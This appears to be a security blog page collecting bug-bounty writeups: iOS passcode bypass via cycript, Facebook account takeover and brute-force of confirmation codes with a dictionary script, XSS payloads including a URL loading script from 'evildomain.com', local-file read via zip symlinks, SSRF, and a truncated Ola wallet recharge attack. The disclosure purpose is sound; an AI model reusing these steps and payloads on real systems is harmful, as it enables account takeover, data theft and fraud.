Search
Multiple Vulnerabilities on Launchkey iPhone Application | Writeup by Satish Bommisetty
Below is the writeup of the Vulnerabilities with his own words...
* Insecure Storage – passcode & auth token are stored in clear text :
LaunchKey app allows its users to set a passcode to protect their information. This passcode is stored in clear text in the keychain, which can be obtained using keychain_dumper tool.
The app also stores the authentication token in clear text in the keychain.
Passcode Lock Bypass :
====================
Once a passcode lock is set, whenever the app is relaunched it prompts for the passcode. This passcode lock can be bypassed by manipulating the iOS runtime with cycript. Before manipulating the runtime, I have decrypted the app using clutch and obtained the class information using class-dump-z.
Steps followed to bypass the passcode lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it prompts for a passcode.
3. Attached LaunchKey process to cycript and obtained the view controller instance of current displaying screen.
>v=UIApp.keyWindow.rootViewController.visibleViewController
>v
<LKPinViewController: 0x1f5d5d00>
NSString* pinNumber;
BOOL creation;
NSString* firstPin;
int tries;
UITextField* pinDigitOneTextField;
UITextField* pinDigitTwoTextField;
UITextField* pinDigitThreeTextField;
UITextField* pinDigitFourTextField;
UIView* pinView;
UIImageView* background;
UIButton* cancelButton;
UILabel* pinLabel;
UINavigationBar* navigationBar;
UIImageView* lkNavLogo;
UILabel* notMatchLabel;
UITextField* pinField;
}
@property(retain, nonatomic) UITextField* pinField;
@property(assign, nonatomic) __weak UILabel* notMatchLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIView* pinView;
@property(assign, nonatomic) __weak UIImageView* background;
@property(assign, nonatomic) __weak UITextField* pinDigitFourTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitThreeTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitTwoTextField;
@property(assign, nonatomic) __weak UITextField* pinDigitOneTextField;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* pinLabel;
-(void).cxx_destruct;
-(void)viewDidUnload;
-(void)didReceiveMemoryWarning;
-(void)dealloc;
-(void)cancelButtonTouched:(id)touched;
-(void)shakeTheView;
-(void)viewDidLoad;
-(void)animationDidStop:(id)animation finished:(BOOL)finished;
-(void)showConfirmFields;
-(void)savePinToKeychain:(id)keychain;
-(BOOL)textField:(id)field shouldChangeCharactersInRange:(NSRange)range replacementString:(id)string;
-(id)initWithLocking;
-(id)initWithVerification;
-(id)initWithRemoval;
-(id)initWithCreation;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end
LKPinViewController inherits LKLockViewController. Hence, methods in the parent class (LKLockViewControllerclass) can be invoked from the child class (LKPinViewController ) instance. So looked at the class dump for LKLockViewController interface and noticed an interesting method pinIsValid.
NSNumber* AppId;
BOOL removing;
MBProgressHUD* hud;
BOOL verifying;
int yOffset;
}
@property(retain) MBProgressHUD* hud;
@property(assign) int yOffset;
@property(assign) BOOL verifying;
@property(assign) BOOL removing;
@property(retain, nonatomic) NSNumber* AppId;
-(void).cxx_destruct;
-(void)pinIsValid;
-(void)showTemporaryError:(id)error;
-(void)unpairDevice;
-(void)updateWaitingAPN:(id)apn;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(id)init;
-(id)initAsCombo;
-(id)initAsPin;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end
5. Invoking the pinIsValid method directly from the the cycript prompt, logged me into the app without entering the passcode.
Combination Lock Bypass :
========================
LaunchKey app allows its users to set a combination lock as an alternative to the passcode lock. Once a combo lock is set, whenever the app is relaunched it prompts the user to enter combo code to unlock. This combo lock can be bypassed by manipulating the iOS runtime with cycript.
Steps followed to bypass the combo lock:
1. Connected to the iPhone over SSH.
2. Launched the app and noticed that it displays the combo lock.
3. Attached LaunchKey process to cycript and obtained the view controller instance of currently displaying screen.
> UIApp.keyWindow.rootViewController.visibleViewController
> l=_
<LKComboLockViewController: 0x1e1c9680>
4. Looked at the class dump for LKComboLockViewController interface and noticed an interesting method comboDismissed.
BOOL creation;
int tries;
UIImageView* background;
UINavigationBar* navigationBar;
UIImageView* lkNavLogo;
UILabel* combinationLabel;
UIButton* cancelButton;
UILabel* detailsLabel;
LKCombinationLock* combo;
}
@property(retain, nonatomic) LKCombinationLock* combo;
@property(assign, nonatomic) __weak UILabel* detailsLabel;
@property(assign, nonatomic) __weak UIButton* cancelButton;
@property(assign, nonatomic) __weak UILabel* combinationLabel;
@property(assign, nonatomic) __weak UIImageView* lkNavLogo;
@property(assign, nonatomic) __weak UINavigationBar* navigationBar;
@property(assign, nonatomic) __weak UIImageView* background;
-(void).cxx_destruct;
-(void)didReceiveMemoryWarning;
-(void)comboValid;
-(void)shakeTheView;
-(void)invalidComboTry;
-(void)invalidComboSet;
-(void)cancelButtonTouched:(id)touched;
-(void)comboDismissed;
-(void)comboUnlocked;
-(void)comboSetAndDismissed;
-(void)comboSet;
-(void)firstComboSet;
-(void)combosDoNotMatch;
-(id)initWithVerification;
-(id)initWithLocking;
-(id)initWithRemoval;
-(id)initWithCreation;
-(void)viewDidLoad;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
@end
5. Invoking the comboDismissed method directly from the the cycript prompt, logged me into the app without entering the combo lock code.
Passcode bruteforce limit bypass :
==============================
When a passcode lock is set, LaunchKey app provides an option to unpair the device after 10 failed passcode attempts. The app is keeping track of the number of attempts in a variable. This bruteforce restriction can be bypassed by changing the variable value in runtime using cycript.
Steps followed to bypass the bruteforce limit:
1. Connected to the iPhone over SSH.
2. Turned on PIN lock and selected unpair after 10 option.
3. Closed and reopened the app. It prompted for a passcode.
4. Entered wrong passcode for 9 times.
5. Attached LaunchKey process to cycript and obtained the view controller of currently displaying screen.
> UIApp.keyWindow.rootViewController
> n=_
> n.visibleViewController
> v=_
<LKPinViewController: 0x1f5d5d00>
6. Looked at the class dump for LKPinViewController interface and noticed an interesting variable tries.
NSString* pinNumber;
BOOL creation;
NSString* firstPin;
int tries;
UITextField* pinDigitOneTextField;
UITextField* pinDigitTwoTextField;
UITextField* pinDigitThreeTextField;
UITextField* pinDigitFourTextField;
UIView* pinView;
UIImageView* background;
UIButton* cancelButton;
UILabel* pinLabel;
UINavigationBar* navigationBar;
UIImageView* lkNavLogo;
UILabel* notMatchLabel;
UITextField* pinField;
7. Printed the value stored in tries variable and confirmed that it is the variable keeping track of passcode failed attempts.
9
8. Changed the value to 0.
Now you can try another 9 attempts. This would allow to bruteforce the passcode without unpairing the device.
Launchkey security team is very friendly and they fixed all the vulnerabilities within short time. I have received 800$ in total for all the vulnerabilities as a bounty.
Posted by Pentesting-Lab at 22:42 0 comments
Reading Local Files from Facebook's Server | Writeup by Josip Franjkovic
Let me continue this post with his own words...
Writeup :
========
In the year of 2014, I found a vulnerability in Facebook which allowed me to read local files from Facebook's servers. The vulnerable part of Facebook was their Careers resume uploader, located at every job offer, for example this one.
You can upload any extension there, so I decided to upload a .php file - one can always hope. Of course, it was not executed nor could I get file path, but contents of the file were returned, after being base64 encoded. Next thing I tried was to name my file /etc/passwd, "file:///etc/passwd" and couple others. None of these worked.
Couple tries later I uploaded a zipped .php file, and the response contained unzipped, base64'd contents of .php. If you read Facebook's Bounty Hunter's Guide you will know where this leads. The guide describes how one researcher uploaded zip with symlink to /etc/passwd, and couple steps later Facebook returned few lines of /etc/passwd.
I have done exactly the same, so:
1. create a symlink to /etc/passwd (or any other file you want to read)
4. the response to POST will have details of (whole) /etc/passwd or other file.
Screenshot of response containing /etc/passwd :
================================
I have speculated about symlinking a directory, but never tried it. Neal from Facebook thought that this might get me contents of files from the directory, but not necessarily filenames. We shall never know.
Timeline :
=======
Nov 30, 2014 09:45 - vulnerability reported
Nov 30, 2014 17:58 - reply from Facebook's security (Neal) saying they cannot reproduce bug
Nov 30, 2014 18:08 - update from Neal, they can reproduce it
Nov 30, 2014 19:10 - temporary fix has been pushed, disabling resume uploads
Dec 01, 2014 ~23:00 - more permanent fix pushed, now server no longer responds with contents of uploaded resume (Emrakul)
Dec 05, 2014 18:15 - bounty of $5500 awarded (Neal).
Dec 05, 2014 ~19:00 - objection about reward sent to Facebook's team
Dec 06, 2014 ~23:30 - Neal from Facebook explains this is actually a third party system they run
I'd like to ramble a bit about the award for this bug. When I found it, it looked like a critical bug that could allow me to read parts of Facebook's source. It turned out to actually be a third party software they used to analyse uploaded resumes, therefore I could not actually access any part of Facebook's internals. The network this system is hosted on was pretty locked down, too.
Basically, this is a bug that looks really critical, but is much lower severity. It is an exact opposite to a low severity bug I found some time ago that turned out to be more dangerous.
Lessons learned :
===========
Read all write-ups you can get your hands on. I would never think of uploading the zip with symlinks if I did not read Facebook's blog. Philippe has a good list of Facebook bugs here.
Some bugs are not what they look like :-)
Huge thanks to researcher who first used ZIP with symlinks, and to Facebook for blogging about it, and their security team for being awesome as always, fixing the bug in 10 hours on Sunday.
Posted by Pentesting-Lab at 23:00 0 comments
Hijacking any Facebook Account with SMS | Writeup by Include Security
Lets continue with his own words...
This post will demonstrate a simple bug which will lead to a full takeover of any Facebook account, with no user interaction.
Facebook gives you the option of linking your mobile number with your account. This allows you to receive updates via SMS, and also means you can login using the number rather than your email address.
The flaw lies in the /ajax/settings/mobile/confirm_phone.php end-point. This takes various parameters, but the two main are code, which is the verification code received via your mobile, and profile_id, which is the account to link the number to.
The thing is, profile_id is set to your account (obviously), but changing it to your target’s doesn’t trigger an error.
To exploit this bug, we first send the letter F to 32665, which is Facebook’s SMS shortcode in the UK. We receive an 8 character verification code back.
We enter this code into the activation box (located here), and modify the profile_id element inside the fbMobileConfirmationForm form.
Submitting the request returns a 200. You can see the value of __user (which is sent with all AJAX requests) is different from the profile_id we modified.
Note: You may have to reauth after submitting the request, but the password required is yours, not the targets.
An SMS is then received with confirmation.
Now we can initate a password reset request against the user and get the code via SMS.
Another SMS is received with the reset code.
We enter this code into the form, choose a new password, and we’re done. The account is ours.
Fix
====
Facebook responsed by verifying that you have permission to modify the phone number on the profile denoted by profile_id.
Timeline
=========
23rd May 2013 - Reported
28th May 2013 - Acknowledgment of Report
28th May 2013 - Issue Fixed
Note
======
The bounty assigned to this bug was $20,000, clearly demonstrating the severity of the issue
Posted by Pentesting-Lab at 23:48 0 comments
XSS on Facebook Graph API | Writeup by Pavel Toporkov
One day, browsing Facebook I discovered an interesting tool – Graph API Explorer. It's a tool designed to work with Facebook Graph API. It allows reading or posting data on Facebook, testing permissions, etc. So what can it actually do?
Make JSONP request to graph.facebook.com with some callback to include this JSON data in the page. Of course, at first I tried to include callback parameter in the request, but the result was unsuccessful. After lots of tries to inject something, I found an interesting script that exists on almost every Facebook domain. It's login.php which allows redirection to any *.facebook.com page.
First, I tried to make redirection to http://graph.facebook.com/me?callback=alert, and it worked! I got alert with the [Object object] text. Great!
https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps%253a//graph.facebook.com/me%253fcallback%253dalert
But of course, it couldn’t stop unless I would be able to run arbitrary code. I just needed to find any place on *.facebook.com where I could store my malicious code. My first try was to send file to another user via Facebook messages. All I did was just sending an evil.txt file with malicious code, and changing its content-type to text/javascript. After that, this file was available via the following link:
https://www.facebook.com/ajax/messaging/attachment.php?attach_id=&mid=&hash=
The file becomes available only for the receiver of the message, but we can make a specially crafted .gif file containing Javascript code (thanks to @isciurus), send it to the victim, get the link to the malicious file and leverage that link to exploit the vulnerability. The victim will get the image, click on it, and because of "Content-Disposition" header it will be saved to the victim’s computer and will behave like a normal .gif image. So, nothing suspicious. Anyway, I bet, there are lots of places on *.facebook.com where we can store our payload.
Ok, let’s try to execute our code. A try ... resulting in a failure. There is the "content-security-policy" header, which disallows running this code. It seems like I should find another place to store my code.... But wait! Internet Explorer ignores this header because it requires "x-content-security-policy header". So, I checked it in IE 10 and it worked out great.
https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps://www.facebook.com/ajax/messaging/attachment.php%253fattach_id%253d%2526mid%253d%2526hash%253d
I conducted XSS, got a reward, lots of fun and, in addition, made a cool screenshot ;)
Posted by Pentesting-Lab at 22:40 0 comments
XSS on Google Finance | Writeup by Michele Spagnuolo
Let me continue this post by his own words.
On July 11 2013, I reported to Google Security a XSS vulnerability I discovered in google.com main domain, which required no user interaction.
It is due to a glitch in Google Finance, which is hosted on google.com/finance, that allows to trick the Javascript application for plotting charts (in particular, sourcefile /finance/f/sfe-opt.js) to load a file hosted on an external domain and eval() its content as Javascript code.
This exploit does not require any user interaction, it's just a matter of clicking on a URL.
Steps to reproduce :
=================
1. Just click on this URL (now fixed):
https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.
File x.js contains the following proof-of-concept code for demonstration purposes:
alert(document.domain);
The file has to be hosted over HTTPS.
2. The remote Javascript is executed.
How does it work?
================
Here are two (obfuscated) code snippets of /finance/f/sfe-opt.js responsible for this vulnerability:
c.push(b);
if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || "")));
return c.join("")
In this first snippet, URL parameters, and in particular the ntrssurl parameter (address of a custom RSS feed) are fetched and concatenated.
a = a || null;
d = d || "_" + (Yi++).toString(36) + x().toString(36);
n._callbacks_ || (n._callbacks_ = {});
var e = this.$s.Z();
if (a)
for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]);
b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d));
b = Wi(e.toString(), {
timeout: this.We,
Ns: !0
});
Si(b, null, $i(d, a, c), void 0);
return {
La: d,
Du: b
}
};
This part of the code is responsible for querying an external domain for a newsfeed to be displayed on the plot as an overlay.
It generates a base-36 callback function name, and the function Wi performs an xmlhttprequest to the domain supplied in the ntrssurl parameter in the URL, appending ?_CALLBACK_.
In this case, a simple Javascript code is returned and eval()'ed.
Screenshots :
============
Feedback :
========
This vulnerability was fixed in a matter of days, and I got a $5k reward.
Posted by Pentesting-Lab at 22:37 0 comments
Reflect XSS on admin.google.com | Writeup by Brett Buerhaus
Good afternoon friends,
Today we have write up of Reflected XSS on admin.google.com by Brett Buerhaus.
Lets continue the post with his own words..
After learning about Google’s bug bounty program , I decided to look for vulnerabilities on their most sensitive services. Finding a vulnerability on admin.google.com was challenging; I managed to find a simple, but interesting form of Cross-Site Scripting .
Details:
========
URL : https://admin.google.com/
Vulnerability : Reflected Cross Site Scripting
Proof of Concept:
==============
admin.google.com is a part of Google Apps service where you are able to configure permissions, users, and Google Services for your domain. This is a feature primarily used by businesses, especially ones that are using Gmail as the e-mail service for their domain.
The ServiceNotAllowed page appears when you are attempting to access a Google app service that has not been configured for your domain. It requires that you are logged into at least two accounts and will give you a form to switch accounts to continue to the service you were trying to load. When you select an account via the bullet on the page, it executes JavaScript to redirect your browser. The URL used in this JavaScript is supplied by the user in the continue request parameter.
The continue request parameter is fairly common request variable in the Google login flow. This is the only page that I could find that did not validate the URL passed into it. This allowed you to craft Cross-Site Scripting attacks by using “javascript:” as part of the URL and it would execute when the browser location is redirected.
Attack:
======
Impact:
=======
This attack allows you to force a Google Apps admin to execute any request on the admin.google.com domain. Some things that are possible:
Forcing the admin to …
- Create new users with any permission level that you want, such as a super admin.
- Disable security settings for individual accounts or for multiple domains. This includes removing two-factor authentication (2FA) from accounts.
- Modifying domain settings so they point to your domain/dns, therefore all incoming emails to that domain are redirected to you instead.
- Hijack an account/email by resetting the password, disabling 2FA, and also removing login challenges temporarily for 10 minutes.
To demonstrate this, I built a proof-of-concept that shows a JavaScript payload pulling information from the Admin console, grabbing a list of users, changing the password and removing security settings from the first user in the list.
Source:
http://imageshar.es/54b8489989b9403e17000006/file
<ul>
<li><input type="radio" value="javascript:alert(document.cookie);//? authuser=0" checkedname="radioChoices" id="radioid0"><label for="radio0">email1@gmail.com</label></li>
<li><input type="radio" value="javascript:alert(document.cookie);//? authuser=0" checkedname="radioChoices" id="radioid1"><label for="radio1">email2@mrzioto.com</label></li>
</ul>
</form>
<script>
function
onContinueClick(accountCount) {
var href;
for (var i= 0; i < accountCount; i++) {
if(document.getElementById('radioid' + i).checked) {
href =document.getElementById('radioid' + i).value;
}
window.location.href = href;
reurn false;
}
window.addEventListener("load", function() {
document.getElementById("radioid0").focus();});
</script>
Timeline:
========
Discovered and reported: 9/1/14
Acknowledged: 9/5/14
Fixed: 9/18/14
Bounty Reward:
Posted by Pentesting-Lab at 01:27 0 comments
XSS on Google | Writeup by Narendra Bhati
Hello friends today i will show you how i Got Google XSS Vulnerability, When i searching in google support section i think may be i should try to finding xss here, then i start trying ,First as usual i put my name in search box ” bhati ”
And found that is reflecting back in the source code properly , So i decided to try my luck , i was hoping for the best for this xss. Actually i always put <xss>””() for analysis that which word is filtered out and when the response come back i was feeling like boss , because there is no filtration or sanitation applied Then i try to input payloads as you know.
So finally payload is – <script>alert(“ss”)</script>
then finally Google XSS Appeared
I reported to google about that then after 6 hour i got reply from them “Nice Catch” , they promise to reward me by 500$ for this finding And they put my name on their hall of fame page.
Posted by Pentesting-Lab at 00:15 0 comments
How I hacked your unverified facebook accounts | Writeup by Abhibandu Kafle
In the year of 2014, an Nepali Security Researcher, Abhibandu Kafle, found a bug on Facebook that allows him to delete any unverified account (By unverified, he means those accounts who didnot yet verify their email address linked to facebook). Here's a little write-up on this bug by his own words.
Here is how I did it :
There is(was , now) this sign up function, which lets you create new facebook account. The twist is, when you use a facebook account that already has an account in facebook (with its email unverified), the response you get is :
When clicked on the "Insert the confirmation code instead" it lets you enter 5-digit number only code.
Pretty simple , eh?
Lets generate a dictionary from 00000 to 99999.
def add_zeros(end,tot):
zeros=''
while (len(zeros)<(len(tot)-len(end))):
zeros=zeros+'0'
return zeros+end
verification_code=5
code=''
path=raw_input(" where do you want to store your dictionary file. eg. D:\derp\foo.txt ")
loop_range=verification_code-len(code)
nines=''
for i in range(0,loop_range):
nines=nines+'9'
nine=int(nines)
fob=open(path,'w')
for i in range(0,nine+1):
j=str(i)
if len(j)<len(nines):
j=add_zeros(j,nines)
number=code+j+'\n'
fob.write(number)
fob.close()
print 'Generated and Saved!'
Now, straightforward stuff! I fired up Burp, "Swiss army knife" for me.
Notice something peculiar in the last request?
Yes, the response length changes to show that you've made the correct guess. (AJAX response in burp response says that).
Some math work :
possible password = 100,000
If , no. of requests = 100/sec
Time taken to find out "teh code" (worst case scenerio) = 15 minutes
The impact :
I could permanently delete any unverified facebook accounts within 15 minutes. You would try to recover using "password recover" feature but all your friends, PM's would be gone. You would have to create entirely new account.
All I had to do was squander my bandwidth (and sit back and relax).
How did I find out if an account was unverified?
Well, one way was to sign up using that email and see the response (if you are asked to enter confirmation code or not).
For a large number of emails, the other way was to enumerate facebook users first, to find out if the email had a facebook account and then use "Change email address field" to sort out which accounts have facebook associated with it and are still unverified.
8 hours later i got reply from Facebook Team and was patched within 3 days of submission, however they were making strange changes for about a month even after bounty payout (in their mobile platforms and mobile apps).
and a handsome bounty followed up:
Posted by Pentesting-Lab at 23:00 0 comments
Logical Bug on Facebook Pages | Writeup by Uttam Soren
As per him, On the month of July,2014 I found a Logical Bug on Facebook Pages. There were two issues on the Facebook Pages.
1. Normal User Blocks the Admin of a Facebook Page:
It was very simple i.e. block the admin of any Facebook Page then you could post on that page and your posts to the page would not be visible to admin hence admin cannot delete your posts or comments and also cannot ban you from that page.
2. Admin Blocks the Other Admin of Same Page:
If a page has two or more than two admins then if any one admin posts on behalf of page then other admins can see who has posted that particular post as there would be information about it like "Posted by Uttam Soren".
But I found that if one adimn (Admin_1) blocks the other admin (Admin_2) or admins (Admin_3, Admin_4, Admin_5,...) of same page then if Admin_1 posts on behalf of page then other admins (Admin_2, Admin_3, Admin_4,...) cannot know who has posted that post as the information will not shown to them as they were blocked by Admin_1 and only post time is visible to them.
I quickly reported both isuses to Facebook. First issue got duplicate as someone had already reported it to Facebook but second issue was unknown to them.
Later they fixed the bug and rewarded me with $500 USD.
Timeline :
============
SAT, JUL 19, 2014 11:51 AM - Report Sent
WED, JUL 23, 2014 3:30 AM - Escalation by Facebook
SAT, AUG 2, 2014 5:55 PM - Fix Deployed by Facebook
SAT, AUG 2, 2014 5:55 PM - Bounty Awarded of $500 USD by Facebook
Posted by Pentesting-Lab at 06:23 0 comments
SSRF/XSPA bug on Facebook | Writeup by Paul OS
According to him,
An application is vulnerable to Cross Site Port Attacks (SSRF/XSPA) if the application processes user supplied URLs and does not verify/sanitize the backend response received from remote servers before sending it back to the client.
An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.
XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. This Vulnerability can be used for:
1) Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.
2) Exploiting vulnerable programs running on the Intranet or on the local web server.
when sending a message to a user in the chat section it is possible to add websites... and Facebook will go check the link to get favicon and title.
If we for example give it, http://target.com:80/ it will print out the contents of the site since http/80 runs there. but if we gave it closed ports like http:// target.com:31337/ , it will suffer to get output thus, reaveling if port is open or closed.
Now the issue has been fixed and Facebook have put mitigation strategies for possible abuse to scan internal servers or so... :-)
Posted by Pentesting-Lab at 22:58 0 comments
Bug in Facebook Acquisitions allows to access anyone's account | Writeup by Uttam Soren
Couple of years ago, an India Security Researcher, Uttam Soren , found a bug in Facebook acquisition that allows to gain the access of any user account. He reported it to Facebook and Facebook rewarded him with $1000.
Let me continue his writeup with his own words...
Since I started Bug Hunting in 2014 I was trying to find bugs in Facebook but it already has too many bug hunters hunting it and making it more secure meaning it's not easy to find bugs on it. So I decided to look into facebook's acquisitions. I googled and found the list of facebook's acquisitions in wikepedia page (List of Mergers and Acquisitions by Facebook). That time Moves was the latest acquistion of Facebook & Moves is very much in scope.
I downloaded the android app on my friend's android phone as the app was not supported on my phone. Created an account using the app and then logged in to my newly created Moves account on my laptop. It was a very simple website, you login to your account, you can see your Account Info, Connected Apps, Change your Email address, Change your Password, Sign Out of Phone, Export Data or Delete Account. Found nothing till 1/2 hours, thought it is well secured. Then decided to check the OWASP's top 10 vulnerabilities for 2013 and Broken Authentication & Session Management was on #2. Started to test Broken Authentication & Session Management on Moves. Started Burp Suite and configured it to intercept my browser's requests & responses. Logged in to Moves account and clicked on Account Info, captured the request on Burp and sended it to Burp Repeater then clicked on Sign Out. After signed out of account replayed the captured request and in response there was no error, the captured request was still valid.
The PLAY_SESSION=[value] was not expiring after users sign out of account. Same PLAY_SESSION=[value] could be used again & again to access the account without giving any login credentials. So if any attacker somehows got that PLAY_SESSION=[value] could access the account without knowing the users credendtials. Aslo if users finds that their account has been compromised then users would change their passwords to secure their accouts but in Moves session was not getting invalidated after any password change. So it clearly means that if attacker had got users PLAY_SESSION=[value] then their is no option for users to recover their accounts.
Quickly reported it to Facebook. They fixed it and rewarded me with $1000 USD and listed on their Whitehat Thanks page.
Timeline :
=============
SUN, JUN 15, 2014 6:48 PM - Report Sent
TUE, JUN 17, 2014 3:49 AM - Escalation by Facebook
WED, JUN 18, 2014 11:31 PM - Fix Deployed by Facebook
THU, JUN 19, 2014 2:36 AM - Bounty Awarded of $1000 USD by Facebook
Posted by Pentesting-Lab at 23:29 0 comments
Facebook Bug allows to post on behalf of anyone | Writeup by Anand Prakash
Hello guys, today we have write up of an Indian Security Researcher, Anand Prakash, who found a bug on Facebook which allows him to post on behalf of anyone.
Let me continue this with his own words...
Facebook recently introduced "Say Thanks", an experience that lets Facebook user to create personalized video cards for their facebook friends.
To create a Thanks video, a user needs to visit facebook.com/thanks and have to choose a friend. A user can select a different theme and edit photos and posts that represent their friendship.
Once you are ready you have to click on the "Share" button and your video will be shared on your timeline with the friend tagged. It will show up on your's as well as the friend's timeline.
So, I started digging up as soon as "Say Thanks" was launched.
Below are the few things that I tried :
1) Posting on the behalf of non-Facebook friend.
2) Posting on the behalf of a Facebook friend.
Interestingly, posting on behalf of your Facebook friends worked.
After the successful exploitation a video was posted from victim's profile saying thanks.
Bug type : Insecure direct object reference ( OWASP A4 )
Steps to reproduce:
1) Go to https://www.facebook.com/thanks
2) Choose any friend from your list. Now on the top up corner click on "Share video" option.
3) Now before posting make sure Burp Suite's Interceptor is turned on to capture the request.
Click on "Post Video" now, you will see below kind of
request in Burp suite:
POST /thanks/send/async/ HTTP/1.1
Host: www.facebook.com
fb_dtsg=YYYYYY&message_text=Hey Anand, I made you a video to say thanks for being such a good friend. You can make your own at facebook.com/thanks #saythanks&message=Hey @[1234543:Anand], I made you a video to say thanks for being such a good friend.
You can make your own at facebook.com/thanks #saythanks&cache_version=24&content=[]&content_count=0&receiver={"id":1234543,"fbid":1234543,"name":"Anand Prakash","imageURL":"","gender":2,"greeting":"Hey Anand","shortName":"Anand","relationship":-1," relationshipName":null,"firstName":"Anand","genderType ":"MALE","profilePhoto":"","profilePhotoID":8359028035," profilePhotoBegin":"}& sender={"id ": 131232524 ,"name":"Sangwan Manisha","firstName":"Manisha","genderType":"FEMALE"
,"profilePhoto":"","profilePhotoID":,"profilePhotoBegin":"","profilePhotoBeginID":328985902339}
×tamp=1417279810172&theme_details={}
&theme_id=DEFAULT_THEME&privacyx=9238943&__
user=1234543__a=1&__dyn=&__req=13&ttstamp=__rev=1512134
4) I changed the sender={id=XXXXX to victim's Facebook ID (here XXXXX) and in few seconds video got posted from the victim's Facebook profile.
Timeline:
==========
Nov 14, 2014 12:41am - Report Sent to Facebook Security team
Nov 14, 2014 2:00am - Initial Reply from Mordecai saying he is not able to reproduce the issue
Nov 14, 2014 8:17am - Confirmation of vulnerability from Neal Poole
Nov 14, 2014 10:42am - Issued fixed by Facebook
Nov 14, 2014 11:44am - Fix verification by me
Nov 19, 2014 10:10am - Bounty of $12,500 awarded by Facebook.
Posted by Pentesting-Lab at 03:04 0 comments
File Upload Vulnerability on HTMLEditor | Video Demo by Pentesting-Lab
If you have any query, feel free to ask...
Posted by Pentesting-Lab at 04:50 0 comments
XSS on w3schools | Video Demo by Pentesting Lab
Posted by Pentesting-Lab at 00:09 0 comments
User Enumeration on Python.org | Writeup by Ashish Patel
Recently, an Indian Security Researcher, Ashish Patel , has submitted his video demonstration of a bug on Python to Pentesting Lab. The vulnerability is known as User Enumeration and Guessable User Account & bruteforce. Following are the details of the vulnerability.
[*] Issue :
User Enumeration and Guessable User Account & bruteforce
[*] Referance :
https://www.owasp.org/index.php/Brute_Force_Testing_AoC#Brief_Summary
[*] Impact:
The attacker can successfully bruteforce the passwords on any users acccount and this can lead to account compromise.
[*] POC :
Posted by Pentesting-Lab at 22:59 0 comments
XSS on Google Groups | Video Demo by Ashish Pathak
Today we gonna post Video Demonstration of Cross Site Scripting on Google Groups.
This video is submitted to us by a security researcher, Ashish Pathak.
Posted by Pentesting-Lab at 07:21 0 comments
Hacking Ola Wallet | Writeup by Shubham Paramhans
Recently a security researcher from India, Shubham Paramhans, has found a major bug in Ola that can allow anyone to recharge their Ola Wallet of any amount. You can read the original article from Shubham Here
Submitting this bug to Pentesting-Lab, Shubham Paramhans, added
I booked a cab for my weekend project and I was monitoring my phone traffic from a proxy server. While doing that I saw Ola API calls going from my phone.
After seeing those flashing binaries data going from my system I forgot my weekend project and started tweaking and reverse engineering Ola API’s which eventually resulted in breaking their money transaction system and I was able to recharge my Ola wallet with any amount.
Chapter 0 : Something is not right
I was working on a small side project in which I was monitoring my phone traffic. For this purpose I used MITM Proxy, which is a very light console based proxy server. As I was booking my cab I saw Ola API calls. The structuring of the API calls attracted my attention. Something was amiss here. These calls were simple HTTP requests without any OAuth token mechanism or any other encryption to guard APIs. One can easily replicate these calls from a console or by using Chrome. There are some other clients one can use like PostMan or Advance Rest Client.
Above is a log of request to fetch cabs for a given latitude and longitude. This is exactly what went from my phone to their servers with a few payloads like device-id and install-id. On refining, though, I found most of the things present here were not even required. This goes to show the absence of server-side validation for API calls. Below is what you get in response, a json of cabs near your current location
Chapter 1: Digging the tunnel
After successfully tracking and fetching cabs I was very happy because (no offence to ola) their app sucks, as in really really bad. First of all it crashes a lot. Secondly, I don’t like the UX. I think better things can be done. Just take the example of Uber. Their app works so smoothly and booking a cab is a piece of cake. Thirdly it is very difficult to book a cab. It’s a blink and you miss situation where in microseconds a cab vanishes.
This got me thinking and I created a one tap app where once I’ve set my preferences, a thread can run in the background and ensure a one-tap cab booking. For one thing, it made my life easier while accomplishing the task of fully automating the booking process. A few people might find this offensive but this is the fun in weekend projects; creating small utilities so that you can get even more lazy :p
Then I went greedy (lazier). I thought what if I can book a cab for free?!! That will be one mighty bad-ass thing to do. So I started to trace the recharge API calls.
I did one simple recharge on my phone to get an idea of what was going on. Long story short, one recharge process in three simple
steps.
Step One : Generate an order id which will be used for reference in future,
Step Two : Make a few payment gateway calls to complete the transaction
Step Three : One more API call to Ola’s server to acknowledge the transaction, to complete the process.
After completing the transaction I started connecting the dots to understand their system. Believe me it was one hell of a easy maths. Simply put, it was a very bad design because all the transaction APIs implemented by Ola were using simple HTTP protocol and sending data in plain white text. This was next ‘woohoo’ moment, because this motivated me to find more loopholes and believe me Ola’s system has a lot of them.
Chapter 2: Fire in the hole
After watching, tracing and connecting all the API calls, my console was ready to fire the bomb. Even if I not get to book cab for free but still I can create one app which can book a cab for me in just one single click. To be honest, I was kind of nervous. Let’s accept it, it was easier than I’d ever imagined and if this went right, well you can understand.
Since college days I’ve been making such things. Partly because I enjoyed the thrill of the process more than the end result. It wasn’t exactly like “The Social Network” but something similar.
Coming back to the topic, I had my arsenal ready for attack. With a prayer on my lips, I fired my first shot i.e. generating an order id. It went perfect. I took aim again and below is what a cleaned request looks like, with response from their server.
